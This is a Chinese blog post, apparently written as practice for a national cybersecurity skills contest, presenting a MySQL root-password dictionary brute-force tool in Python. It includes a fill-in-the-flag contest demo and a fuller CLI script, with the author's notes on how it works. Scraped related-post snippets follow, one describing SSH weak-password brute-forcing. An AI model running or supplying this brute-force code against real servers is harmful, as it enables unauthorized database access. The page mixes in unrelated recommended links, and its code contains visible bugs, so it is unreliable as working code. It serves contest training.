全国职业技能大赛信息安全管理与评估-MySQL爆破脚本
DEMO:
#coding=utf-8
import MySQLdb
class MSSQL:
def __init__(self,host,user,pwd):
self.host = host
self.user = user
self.pwd = pwd
def connect_dp(self):
conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
cur = conn.cursor()
if not cur:
raise(NameError,"failed connect to sql server")
else:
return self.pwd
def main():
fp = open('/root/superdic.txt','r')
for password in fp.readlines():
try:
a = MSSQL(host=Flag1,user='root',pwd=Flag2)
ms = a.connect_dp()
print password.strip()
except:
pass
if not s:
print 'brute failed'
fp.close()
if __name__ == '__main__':
main()
#Flag1 = "127.0.0.1"
#Flag2 = password.strip()
#Flag3 = 3306
#Flag4 = self.user
分析赛题:
赛题主要是考察了类的传参和读写文件时候的去除换行符
代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP
函数:
0.printBanner()打印出banenr信息 没什么卵用
1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
mysql密码错误抛出的异常是
pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
2.connectTest()连接mysql之前首先判断端口是否能连接
代码逻辑:
参数检查:
0.检查-i和-d后是否带参数 False=》exit() print(help) True=> 去 1
1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
4.打开字典文件
5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数
#!/usr/bin/python3 import pymysql
import os
import optparse
import socket
import sys
import time
import threading
count = 0
def printBanner():
banner = '''
_____ _ _ ____ _ __ __ ____ ______ ___ _
| ___| | | |/ ___| |/ / | \/ \ \ / / ___| / _ \| |
| |_ | | | | | | ' /_____| |\/| |\ V /\___ \| | | | |
| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___
|_| \___/ \____|_|\_\ |_| |_| |_| |____/ \__\_\_____|
v1.0 R4bbit'''
print("\033[0;31m"+banner+"\033[0m");
def connectTest(host,port):
socket.setdefaulttimeout(0.1)
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ser.connect((host,port)) #链接成功 记得close()
print("[+] Target Port:%d" % port)
time.sleep(1)
print("[3]..........");
time.sleep(1)
print("[2]..........");
time.sleep(1)
print("[1]..........");
ser.close();
return True;
except Exception as e:
print("目标端口无法访问");
# print("Error"+str(e));
return False; def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
global count
count += 1
sql = "select version();"
try:
db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
cursor = db.cursor() #获取mysql游标
if cursor:
#print("\n")
cursor.execute(sql)
mysql_ver = cursor.fetchone();
szStr = "Password is:"+"\033[0;31m"+szpassword+"\033[0m"
print("\r"+szStr)
print("MysqlVersion():\033[01;31m%s\033[0m" %(mysql_ver))
exit()
# cursor.execute(sql);
except Exception as e:
#1045 密码错误 去匹配这个1045
if "" in str(e):
print("\r[%d]:%s" % (count,szpassword),end=".");
else:
print("[-] Error %s" % str(e)); def main():
printBanner();
parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
parser.add_option('-i',dest='ip',type='string',help = 'ip no')
parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
(options,arg) = parser.parse_args()
if(options.ip == None) | (options.dict_file == None):
print(parser.usage)
exit()
mysql_ip = options.ip;
if(options.port == None): #如果没有给出端口 默认就是3306
mysql_port = 3306;
print("[+] Use Default Mysql Port:%d" % mysql_port)
else:
mysql_port = int(options.port)
print("[+] Use Mysql Port:%d" % mysql_port)
mysql_dict = options.dict_file;
print("[+] Use DictFile:%s" % mysql_dict)
#判断目标端口是否开放
time.sleep(2);
if connectTest(mysql_ip,mysql_port):
if not os.path.exists(mysql_dict):
print("[-] %s字典文件 无法访问" % mysql_dict)
exit(1)
fp = open(mysql_dict,"r")
for mysql_pass in fp.readlines():
sqlConnect(mysql_ip,mysql_port,mysql_pass.strip()) if __name__ == '__main__':
main();

全国职业技能大赛信息安全管理与评估-MySQL爆破脚本的更多相关文章
- 全国职业技能大赛信息安全管理与评估-MySQL弱口令利用
MySQL读文件 #coding=utf-8 import MySQLdb host = '172.16.1.' for i in range(129,131): tag = host+str(i) ...
- 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本
自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ...
- 全国职业技能大赛信息安全管理与评估-一些细节tips
Base64加解密: ubuntu@VM-0-5-ubuntu:~$ echo iloveyou | base64aWxvdmV5b3UKubuntu@VM-0-5-ubuntu:~$ echo aW ...
- 关于[神州数码信息安全DCN杯/信息安全管理与评估]的一些经验之谈
前阵子参加了神州数码的比赛,赛后有如下经验分享,给还没参加过的朋友分享一下心德以及要注意的坑. 先科普一下这个比赛的三个阶段: 第一阶段主要是考网络部分的,例如搭建wifi以及防火墙诸如此类的设备. ...
- 深圳即将启动首届「全国人工智能大赛」:超过 500 万大奖 & 政府资助,潜信息你读懂了吗!
人工智能加速“视频/视觉”发展,近期,深圳市即将迎来人工智能领域权威赛事之一——首届「全国人工智能大赛」(The First National Artificial Intelligence Chal ...
- ISO27001信息安全管理体系
0x00 前言 初入甲方,刚开始接触的应该就是ISO27001信息安全管理体系,你拿到的应该就是一整套安全管理类的文档.在甲方,稍微有点规模的公司很注重制度和流程,岗位职责分工明细,那么这些安全管理制 ...
- NISP二级笔记(一) 信息安全管理
ISO27001 信息安全管理体系要求 ISO27002 信息安全控制措施(实用规则) ISO27003 信息安全管理体系实施指南 ISO27004 信息安全管理测量 ISO27005 信息安全风险管 ...
- (java)Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页
Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页,输出 职位名称*****公司名称*****职位月薪*****工作地点*****发布日期 import java.io.I ...
- 怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
随机推荐
- JXL包大解析;Java程序生成excel文件和解析excel文件内容
最近需求变化,需要把excel导入 我以前没有做过,所以我查了一些资料 和参考别人的代码 以下是多种方式: import java.io.File; import java.io.FileInputS ...
- ES6中 const 关键字
const声明一个只读的常量.一旦声明,常量的值就不能改变. 定义后可以使用但不能修改 但是,const 定义的对象可能与我们想象的不太一样 定义了对象b ,我们可以在b上添加修改属性,再看一个列子 ...
- Linux IO多路复用
监听文件描述符的状态来进行相应的读写操作,3个函数: 123 selectpollepoll 123456789 int (int nfds, fd_set *readfds, fd_set *wri ...
- Apple store,奢华背后的辛酸
store,奢华背后的辛酸" title="Apple store,奢华背后的辛酸"> 2000年的时候,乔布斯提出了要建造苹果直营店,也就是Apple st ...
- jQuery学习笔记二
事件监听者是DOM的一部分,任何页面都可以增加事件监听者.浏览器利用事件监听者监视页面上做了什么,然后告诉Javascript解释器是否需要采取行动.如:$('#showMessage').click ...
- GoLand 设置与配置
1. 将 tab 改为 4个空格 2. GoLand 取消 import 自动导入
- python django 之 django自带的分页
1. 例1: 基础的分页 1). vim app01/views.py def users(request): from django.core.pagina ...
- CSS的常用单位 %和 vw vh 和 box-sizing:border-box; 和flex简介
一.% 理解: %号是CSS中的常用单位,它是相对于父容器而言的.如:一个父容器的宽是100px,给它的子元素一个10%,那么子元素的宽就是100px的10% 10px. 效果图: (利用%设置了li ...
- OAuth 流程与发展总结 (1.0 => 1.0a => 2.0)
OAuth 流程与发展 (1.0 => 1.0a => 2.0) 概述 概述: 开放授权协议 作用: 允许第三方应用访问服务提供方中注册的终端用户的部分资源 下面是官方描述: [OAuth ...
- 东南大学RM装甲板识别算法详解
rm中,装甲板的识别在比赛中可谓是最基础的算法.而在各个开源框架中,该算法也可以说最为成熟.出于学习目的,之后将对比多个高校或网络代码(),尝试学习各个rm装甲板识别算法的优点和流程. 这次先是东南大 ...